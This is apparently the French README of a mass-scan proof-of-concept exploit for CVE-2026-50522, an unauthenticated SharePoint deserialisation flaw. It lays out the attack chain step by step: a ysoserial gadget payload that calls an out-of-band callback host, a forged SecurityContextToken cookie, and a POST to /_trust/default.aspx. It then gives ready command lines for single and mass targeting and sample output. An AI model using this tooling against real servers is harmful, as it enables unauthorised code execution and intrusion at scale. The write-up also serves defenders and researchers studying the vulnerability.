CVE-2026-50522 Poc : RCE par désérialisation SharePoint

Exécution de code à distance non authentifiée sur SharePoint Server via la désérialisation du cookie SecurityContextToken

Exploit de scan de masse pour CVE-2026-50522 ciblant Microsoft SharePoint Server sur site. Il exploite la désérialisation non sécurisée de BinaryFormatter dans le point de terminaison WS-Federation /_trust/default.aspx pour parvenir à une exécution de code non authentifiée via des cookies SecurityContextToken forgés.

Remarque: Ce projet inclut ysoserial, un outil de test d'intrusion connu. Votre antivirus peut donc le signaler ou le mettre en quarantaine lors du téléchargement.

---

Informations sur la vulnérabilité

• CVE: CVE-2026-50522
• Type: CWE-502 Désérialisation de données non fiables
• CVSS 3.1: 9.8 (Critique)
• Authentification: Non authentifiée
• Produits concernés:
  • Microsoft SharePoint Server Subscription Edition (avant 16.0.19725.20434)
  • Microsoft SharePoint Server 2019 (avant 16.0.10417.20175)
  • Microsoft SharePoint Enterprise Server 2016 (avant 16.0.5561.1001)

---

Comment ça marche

1. ysoserial.exe génère un payload sérialisé par BinaryFormatter à l'aide du gadget TypeConfuseDelegate
2. Le payload exécute Invoke-WebRequest vers une URL de callback hors bande
3. Les octets bruts sont déflatés (zlib) puis encodés en Base64 pour former une valeur de cookie
4. Le cookie est encapsulé dans une structure XML SecurityContextToken
5. Le jeton est intégré dans une RequestSecurityTokenResponse (WS-Federation)
6. Le paramètre wresult est envoyé en POST à /_trust/default.aspx
7. SharePoint désérialise le jeton, déclenchant l'exécution de code dans le processus de travail IIS

---

Prérequis

• Python 3.10+ avec la bibliothèque requests
• ysoserial.net (téléchargement)
• Serveur de callback OOB (Burp Collaborator, interactsh, OAST)

---

Utilisation

Cible unique

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

Scan de masse

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

Chemin personnalisé vers ysoserial

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

Avec proxy

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

Mode callback par sous-domaine

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

---

Options

Argument	Description	Défaut
-t, --target	URL d'une cible unique	-
-T, --targets	Fichier contenant les URL cibles, une par ligne	-
-c, --callback-url	URL de base du callback OOB (obligatoire)	-
--callback-mode	path ou subdomain	path
--ysoserial	Chemin vers ysoserial.exe	ysoserial.exe
-x, --proxy	Proxy HTTP	aucun

---

Modes de callback

Mode chemin (par défaut):

http://YOUR_ID.oastify.com/10.10.10.5

Mode sous-domaine:

http://10.10.10.5.YOUR_ID.oastify.com

---

Exemple de sortie

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

---

Références

• Microsoft - CVE-2026-50522
• SOCRadar - CVE-2026-50522 PoC Fuels SharePoint Attacks
• thehackernews - Critical SharePoint RCE CVE-2026-50522 Under Active Exploitation After Public PoC